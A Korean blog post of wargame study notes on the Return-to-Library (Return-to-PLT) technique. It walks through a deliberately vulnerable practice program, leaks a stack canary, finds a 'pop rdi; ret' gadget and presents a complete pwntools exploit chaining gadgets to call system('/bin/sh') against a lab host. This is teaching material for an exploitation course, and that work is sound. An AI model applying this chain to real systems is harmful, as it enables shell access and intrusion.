1. 서론
XS를 우회하는 공격 기법으로 널리 알려진
Return To Library(RTL)를 소개한다.
매우 중요한 공격 기법이므로
주의를 기울여 학습하는 게 좋다.
2. Return To Library
NX로 인해 공격자가 버퍼에 주입한 쉘 코드를 실행하기는 어려워졌지만,
스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 여전히 가능하다.
공격자들은 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 기법을 고안했다.
프로세스에 실행 권한이 있는 메모리 영역은 일반적으로
바이너리 코드 영역과 바이너리가 참조하는 공유 라이브러리 코드 영역이다.
몇몇 라이브러리에는 공격에 유용한 함수들이 구현되어있다.
예를 들어, 리눅스에서 C언어로 작성된 프로그램이 참조하는 libc에는
system, execve 등 프로세스의 실행과 관련된 함수들이 구현되어 있다.
libc의 함수들로 NX를 우회하고 셸을 획득하는 공격 기법을 개발하였고,
이를 Return To Libc라고 이름 지었다.
유사한 공격 기법으로 Return to PLT가 있는데 이 공격 기법도
라이브러리의 코드를 사용하는 것이 핵심이므로, RTL의 하위분류로 본다.
3. 분석
보호 기법 확인,
카나리가 존재하고, NX가 적용되어 있다.
Figure 1. RTL 실습 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
"/bin/sh"를 코드 섹션에 추가
const char* binsh = "/bin/sh"; 부분은
"/bin/sh"를 코드 섹션에 추가하기 위함
ASLR이 적용돼도 PIE가 적용되지 않으면
코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로,
"/bin/sh"의 주소는 고정되어 있다.
const char* binsh = "/bin/sh";
system 함수를 PLT에 추가
system("echo 'system@plt'");은
system을 추가하기 위한 부분
PLT에 어떤 라이브러리 함수가 등록되어 있다면,
그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다.
ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로,
무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도
이 방법으로 라이브러리 함수를 실행할 수 있다.
이 공격 기법을 Return to PLT라고 부른다.
system("echo 'system@plt'");
버퍼 오버플로우
두 개의 read(0, buf, 0x100);은
스택 카나리 우회, 반환 주소를 덮을 수 있도록 작성된 코드
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
4. 익스플로잇 설계
1. 카나리 우회
첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 구 할 수 있다.
2. rdi값을 "/bin/sh"의 주소로 설정 및 셸 획득
NX로 인해서 buf에 셸 코드를 주입하고
이를 실행할 수는 없다.
공격을 위해 알고 있는 정보
- "/bin/sh"의 주소
- system 함수의 PLT 주소 => system 함수 호출 가능
system("/bin/sh")를 호출하면
셸을 획득할 수 있다.
x86-64의 호출 규약에 따르면
이는 rdi="/bin/sh" 주소인 상태에서 system 함수를 호출한 것과 같다.
이 예제에서는 "/bin/sh"의 주소를 알고, system 함수를 호출할 수 있으므로
"/bin/sh"의 주소를 rdi의 값으로 설정할 수 있다면 system("/bin/sh")를 실행할 수 있다.
이를 위해선 리턴 가젯을 활용해야 한다.
리턴 가젯 (Return gadget)
ret로 끝나는 어셈블리 코드 조각을 의미
0x0000000000400853 : pop rdi ; ret
NX로 인해 셸 코드를 실행할 수 없는 상황에서,
단 한 번의 함수 실행으로 셸을 획득하는 것은 일반적으로 불가능하다.
리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여서
익스플로잇에 필요한 조건을 만족할 수 있도록 돕는다.
예를 들어, 이 예제에서는
rdi의 값을 "/bin/sh"의 주소로 설정하고,
system 함수를 호출해야 한다.
리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면,
pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
5. 익스플로잇
카나리 우회
gdb를 통해 분석
rbp와 rsp의 값을 동일하게 한 뒤
rsp의 값에서 0x40만큼 빼 공간을 확보한다.
buf 배열의 사이즈는 0x30이고, 64bit 환경이니 buf + canary는 0x30 + 0x8 = 0x38일 것이다.
하지만, stack alignment에 의해서 16으로 나누었을 때 나누어 떨어져야 하는데
0x38은 16으로 나누어 떨어지지 않기 때문에 0x8을 더해 16으로 나눠 떨어지게 0x40을 빼는 것이다.
rbp - 0x8에 canary 값을 넣은 후 스택을 살펴봄
- 빨간색 박스 -> rbp 레지스터
- 파란색 박스 -> canary 값
- 노란색 박스 -> buf (0x30) + dummy(0x8)
buf(0x30) + dummy(0x8) + 0x1 = 0x39만큼 입력해 canary 값을 읽어올 수 있다.
dummy 값이 추가되는 이유는 자세히는 모르겠지만 컴파일 과정에서 최적화와 같은 이유로
스택에 더미를 집어넣는 경우가 있다고 한다.
Figure 3. 카나리 우회
from pwn import *
p = process("./rtl")
payload = b"A"*0x39
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recvn(7))
print(f"Canary: {hex(canary)}")
#!/usr/bin/python3
# Name: rtl.py
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
리턴 가젯 찾기
방법은 다양하지만, 일반적으로 ROPgadget을 사용한다.
혹시 ROPgadget이 설치되어 있는데 작동되지 않는다면
이방법으로 재설치 해보세요
ROPgadget 패키지를 찾아봅니다.
$ pip3 list
삭제해줍니다.
$ pip3 uninstall ROPgadget
아래 명령어를 이용해봅니다!
$ sudo apt install python3-pip
$ sudo -H python3 -m pip install ROPgadget
$ ROPgadget --help
(출처)
https://dreamhack.io/forum/qna/1919
설치 확인
ROPgadget -v
Version: ROPgadget v7.3
Author: Jonathan Salwan
Author page: https://twitter.com/JonathanSalwan
Project page: http://shell-storm.org/project/ROPgadget/
필요한 가젯 검색, --re 옵션을 사용하면
정규 표현식으로 가젯을 필터링할 수 있다.
ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
Unique gadgets found: 1
익스플로잇
다음과 같이 가젯을 구성하고, 실행하면
system("/bin/sh")를 실행할 수 있다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
"/bin/sh" 주소는 pwndbg로 찾을 수 있다.
system 함수의 PLT 주소는 pwndbg 또는 pwntools API로 찾을 수 있다.
여기서 한가지 주의할 점은, system 함수로 rip가 이동할 때,
스택은 반드시 0x10단위로 정렬되어 있어야 한다.
이는 system 함수 내부에 있는 movaps 명령어 때문인데,
이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킨다.
system 함수를 이용한 익스플로잇을 작성할 때,
익스플로잇이 제대로 작성된 것 같은데도 Segmentation fault가 발생한다면,
system 함수의 가젯을 8바이트 뒤로 미뤄보는 것이 좋다.
이를 위해서는 아무 의미 없는 가젯 (no-op gadget)을 system 함수 전에 추가할 수 있다.
아래와 같이 가젯을 구성하고 실행하면
system("/bin/sh)를 실행할 수 있다.
원래의 가젯 구성은 아래와 같지만
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
system 함수는 rip가 이동할 때, 스택이 0x10 단위로 정렬되어 있어야 하므로,
system 함수 전에 아무 의미 없는 가젯을 추가하여 다음과 같이 구성한다.
addr of ("ret")
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
buf | dummy | canary | sfp | ret | "/bin/sh" 주소 | system@plt 주소 |
아무 의미 없는 가젯 찾기
익스플로잇 코드
from pwn import *
#context.log_level = 'debug'
p = remote("host3.dreamhack.games", 13357)
e = ELF("./rtl")
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00"+p.recvn(7))
print(f"Canary: {hex(canary)}")
system_plt = e.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A"*0x38
payload += p64(canary)
payload += b"B"*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
설명
위 코드가 실행되면, 스택의 구성은 다음과 같다.
0x30 | 0x8 | 0x8 | 0x8 | 0x8 | 0x8 | 0x8 | 0x8 |
buf | dummy | canary | sfp | ret | pop_rdi | binsh | system@plt |
b"A" * 0x30 | b"A" * 0x8 | canary 값 | b"B"*0x8 | 0x400285 | 0x400853 | 0x400874 | system@plt 주소 |
동작 원리는 다음과 같다.
main 함수가 끝나면 rip에 스택에 있는 ret 영역의 값 0x400285가 들어가게 되고,
스택에서는 0x400285 값이 사라지면서 rsp+0x8이 되어 rsp는 pop_rdi 영역을 가리키고 있다.
0x400285 주소는 ret 명령이 있는 주소이기 때문에
0x400285 주소로 이동되고 나서 ret 명령이 수행된다.
바로 ret 명령이 수행되는 것이므로
아무 의미 없는 동작을 하는 것이다.
ret 명령은 pop rip, jmp rip 명령으로 비유할 수 있기 때문에 현재 스택의 맨 위를 가리키고 있는
rsp 레지스터에 있는 값 (스택 주소)에 해당하는 위치에서 8바이트 값을 읽어 0x400853을 rip에 저장하므로
rip에는 0x400853 주소가 들어가고 0x400853 주소로 이동하여 pip rdi, ret 명령을 수행한다.
이때 rsp는 rsp+0x8이 되어 "bin/sh" 문자열의 주소가 있는 곳을 가리키고 있으므로
pop rdi 명령어 수행 시 rdi에 "/bin/sh" 문자열의 주소 0x400874가 들어가게 되고,
ret 명령을 수행하므로써 rip에 system@plt의 주소가 들어가 system 함수를 호출한다.
'드림핵 - 시스템 해킹' 카테고리의 다른 글
Exploit Tech: Return Oriented Programming (0) | 2023.05.23 |
---|---|
NX & ASLR (0) | 2023.05.09 |
Static Link vs. Dynamic Link (0) | 2023.05.08 |
Stack Canary (0) | 2023.05.02 |
Exploit Tech: Return Address Overwrite (0) | 2023.03.29 |